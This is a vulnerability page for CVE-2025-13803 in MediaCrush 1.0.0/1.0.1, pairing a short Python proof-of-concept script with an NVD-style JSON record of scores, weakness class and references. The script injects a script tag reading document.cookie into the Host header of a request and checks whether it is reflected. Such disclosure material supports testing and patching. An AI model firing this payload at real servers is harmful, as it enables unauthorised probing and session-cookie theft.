CVE-2025-13803

import requests # CVE-2025-13803 PoC - MediaCrush HTTP Header Injection XSS # Target: MediaCrush 1.0.0/1.0.1 # Component: /mediacrush/paths.py Header Handler target_url = "http://target-server:5000" # Replace with actual target # Malicious Host header with XSS payload headers = { "Host": "<script>alert(document.cookie)</script>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } try: response = requests.get(target_url, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check if payload is reflected in response if "<script>alert" in response.text or "<script>alert" in str(response.headers): print("[+] VULNERABLE: XSS payload reflected in response") else: print("[-] May not be vulnerable or payload not reflected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-13803", "sourceIdentifier": "[email protected]", "published": "2025-12-01T03:15:46.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in MediaCrush 1.0.0/1.0.1. The affected element is an unknown function of the file /mediacrush/paths.py of the component Header Handler. Such manipulation of the argument Host leads to improper neutralization of http headers for scripting syntax. The attack can be launched remotely."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-644"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/mediacrush.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.333813", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.333813", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.691857", "source": "[email protected]"}]}}